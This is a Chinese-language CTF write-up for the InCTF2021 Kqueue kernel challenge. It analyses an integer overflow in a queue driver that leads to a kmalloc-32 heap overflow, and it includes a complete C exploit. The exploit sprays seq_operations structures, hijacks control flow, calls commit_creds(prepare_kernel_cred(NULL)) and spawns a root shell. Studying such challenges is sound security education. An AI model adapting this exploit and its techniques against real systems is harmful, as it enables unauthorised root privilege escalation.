InCTF2021 - Kqueue 学习记录

• 漏洞分析

在内核态实现了一个队列管理程序，主要部分还是堆的增删改查。

队列结构：

// 管理结构 queue
typedef struct{
  uint16_t data_size;     // 队列每一项 entry 的大小
  uint64_t queue_size; 	// 队列整体的大小
  uint32_t max_entries;	// 队列最多的项数
  uint16_t idx;
  char* data;
}queue;

// 节点结构 queue_entry
typedef struct queue_entry queue_entry;
struct queue_entry{
  uint16_t idx;         //当前entry的idx
  char *data;           //当前entry维护的数据
  queue_entry *next;    //next指针
};

在 kqueue_ioctl 中实现了类似菜单的功能

create_kqueue 实现创建节点

static noinline long create_kqueue(request_t request){
  long result = INVALID;
  // 最多是五个队列
  if(queueCount > MAX_QUEUES)
      err("[-] Max queue count reached");
  // 创建队列时元素可以等于 1，不能小于 1
  if(request.max_entries<1)
      err("[-] kqueue entries should be greater than 0");
  if(request.data_size>MAX_DATA_SIZE)
      err("[-] kqueue data size exceed");
  queue_entry *kqueue_entry;

  ull space = 0;
  if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出
      err("[-] Integer overflow");

  /* Size is the size of queue structure + size of entry * request entries */
  ull queue_size = 0;
  if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
      err("[-] Integer overflow");

  if(queue_size>sizeof(queue) + 0x10000)
      err("[-] Max kqueue alloc limit reached");

  queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

  queue->data_size   = request.data_size;    
  queue->max_entries = request.max_entries;  
  queue->queue_size  = queue_size;           

  kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

  queue_entry* current_entry = kqueue_entry;
  queue_entry* prev_entry = current_entry;

  uint32_t i=1;

  // [1,request.max_entries]
  for(i=1;i<request.max_entries+1;i++){
      if(i!=request.max_entries)
          prev_entry->next = NULL;

      current_entry->idx = i;
      current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

      /* Increment current_entry by size of queue_entry */
      current_entry += sizeof(queue_entry)/16;

      /* Populate next pointer of the previous entry */
      prev_entry->next = current_entry;
      prev_entry = prev_entry->next;
  } 

  // 这里尝试找到kqueue中一个不为NULL的项
  uint32_t j = 0;
  for(j=0;j<MAX_QUEUES;j++){
      if(kqueues[j] == NULL)
          break;
  }
  // break出for循环后 j = MAX_QUEUES，不会触发下面的if
  if(j>MAX_QUEUES)
      err("[-] No kqueue slot left");

  // 导致我们越界分配了一个 queue？
  /* Assign the newly created kqueue to the kqueues */
  // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  kqueues[j] = queue;
  queueCount++;
  result = 0;
  return result;
}

首先是 __builtin_umulll_overflow 函数，gcc 内置用于检测乘法溢出，这里计算 sizeof(queue_entry) * (request.max_entries+1) 是否溢出，并把结果存在 space 中。但是 request.max_entries 本身没有检查溢出，32 位的无符号数可能造成整数溢出，这样就可以绕过乘法溢出的检测。

此时 queue->max_entries 是一个极大值，而因为前面的 request.max_entries + 1 溢出为 0，所以 space 也还是 0，那么 queue->queue_size 大小就是 sizeof(queue)

接着在下面的循环中 request.max_entries+1 溢出导致不会进入循环，没有为 data 分配 queue_entry。

然后看保存队列的部分：save_kqueue_entries：

static noinline long save_kqueue_entries(request_t request){
......
// 为此需要save的队列分配空间，size为queue->queue->size
  char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
    // 先拷贝queue头数据，这里没有问题
  if(queue->data && request.data_size)
      validate(memcpy(new_queue,queue->data,request.data_size));
  else
      err("[-] Internal error");

    // 再拷贝所有queue的entry数据，这里发生了溢出

  uint32_t i=0;
  for(i=1;i<request.max_entries+1;i++){
      if(!kqueue_entry || !kqueue_entry->data)
          break;
      if(kqueue_entry->data && request.data_size)
          validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
      else
          err("[-] Internal error");
      kqueue_entry = kqueue_entry->next;
      new_queue += queue->data_size;
  }
......

}

根据我们的构造，这里会给 new_queue 分配 sizeof(queue) 大小的内存，明显是不够的，这样在下面的 memcpy(new_queue,queue->data,request.data_size) 中就会发生溢出。

具体的利用需要用 seq_operations + 堆喷射。

• 漏洞利用

  给 new_queue 分配的大小为 queue->queue_size，也就是 0x18，根据 kmalloc 的规则会在 kmalloc-32 中取，那么就要在这个 slab 中找可用的结构体，这里用到了 seq_operations。

  struct seq_operations {
      void * (*start) (struct seq_file *m, loff_t *pos);
      void (*stop) (struct seq_file *m, void *v);
      void * (*next) (struct seq_file *m, void *v, loff_t *pos);
      int (*show) (struct seq_file *m, void *v);
  };
  

  当打开一个 stat 文件时会在内核空间分配一个 seq_operations 结构体，当 read 一个 stat 文件时，系统会调用 proc_ops 的 proc_read_iter 指针，其默认值为 seq_read_iter() 函数（位于 fs/seq_file.c），可利用的逻辑在：

  ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
  {
      struct seq_file *m = iocb->ki_filp->private_data;
      //...
      p = m->op->start(m, &m->index);
      //...
  

  然后会调用 seq_operations 中的 start，只要控制了 seq_operations->start 后再读取对应的 stat 文件就能劫持控制流。为了保证能溢出到对应地址，需要用到堆喷射。

  下一步就是具体的提权，因为开了 kaslr，无法确定 prepare_kernel_cred 和 commit_creds 的地址，但可以通过编写 shellcode 在内核栈上找恰当数据从而获得内核地址，然后执行 commit_creds(prepare_kernel_cred(NULL))。

  exp.c:

  #define _GNU_SOURCE
  #include <stdlib.h>
  #include <stdio.h>
  #include <stdint.h>
  #include <string.h>
  #include <fcntl.h>
  #include <unistd.h>
  
  #include <sys/types.h>
  #include <sys/ioctl.h>
  #include <sys/prctl.h>
  #include <sys/syscall.h>
  #include <sys/mman.h>
  #include <sys/stat.h>
  
  typedef struct
  {
      uint32_t    max_entries;
      uint16_t    data_size;
      uint16_t    entry_idx;
      uint16_t    queue_idx;
      char*       data;
  }request_t;
  
  long dev_fd;
  size_t root_rip;
  
  size_t user_cs, user_ss, user_rflags, user_sp;
  void saveStatus(void)
  {
      __asm__("mov user_cs, cs;"
              "mov user_ss, ss;"
              "mov user_sp, rsp;"
              "pushf;"
              "pop user_rflags;"
              );
      printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
  }
  
  void getRootShell(void)
  {   
      puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
  
      if(getuid())
      {
          puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
          exit(-1);
      }
  
      puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
      system("/bin/sh");
      exit(0);// to exit the process normally instead of segmentation fault
  }
  
  void errExit(char * msg)
  {
      printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
      exit(EXIT_FAILURE);
  }
  
  void createQueue(uint32_t max_entries, uint16_t data_size)
  {
      request_t req = 
      {
          .max_entries    = max_entries,
          .data_size      = data_size,
      };
      ioctl(dev_fd, 0xDEADC0DE, &req);
  }
  
  void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
  {
      request_t req =
      {
          .queue_idx  = queue_idx,
          .entry_idx  = entry_idx,
          .data       = data,
      };
      ioctl(dev_fd, 0xDAADEEEE, &req);
  }
  
  void deleteQueue(uint16_t queue_idx)
  {
      request_t req = 
      {
          .queue_idx = queue_idx,
      };
      ioctl(dev_fd, 0xBADDCAFE, &req);
  }
  
  void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
  {
      request_t req =
      {
          .queue_idx      = queue_idx,
          .max_entries    = max_entries,
          .data_size      = data_size,
      };
      ioctl(dev_fd, 0xB105BABE, &req);
  }
  
  void shellcode(void)
  {
      __asm__(
          "mov r12, [rsp + 0x8];"
          "sub r12, 0x201179;"
          "mov r13, r12;"
          "add r12, 0x8c580;"  // prepare_kernel_cred
          "add r13, 0x8c140;"  // commit_creds
          "xor rdi, rdi;"
          "call r12;"
          "mov rdi, rax;"
          "call r13;"
          "swapgs;"
          "mov r14, user_ss;"
          "push r14;"
          "mov r14, user_sp;"
          "push r14;"
          "mov r14, user_rflags;"
          "push r14;"
          "mov r14, user_cs;"
          "push r14;"
          "mov r14, root_rip;"
          "push r14;"
          "iretq;"
      );
  }
  
  int main(int argc, char **argv, char**envp)
  {
      long        seq_fd[0x200];
      size_t      *page;
      size_t      data[0x20];
  
      saveStatus();
      root_rip = (size_t) getRootShell;
      dev_fd = open("/dev/kqueue", O_RDONLY);
      if (dev_fd < 0)
          errExit("FAILED to open the dev!");
  
      for (int i = 0; i < 0x20; i++)
          data[i] = (size_t) shellcode;
  
      createQueue(0xffffffff, 0x20 * 8);
      editQueue(0, 0, data);
      for (int i = 0; i < 0x200; i++)
          seq_fd[i] = open("/proc/self/stat", O_RDONLY);
      saveQueue(0, 0, 0x40);
      for (int i = 0; i < 0x200; i++)
          read(seq_fd[i], data, 1);
  }
  

  无语的是将文件系统解包再重新打包后 qemu 不能正常运行，没办法拿了上一个题的文件系统

  

• 参考文献

  • https://bbs.pediy.com/thread-269031.htm
  • http://blog.arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题：InCTF2021-Kqueue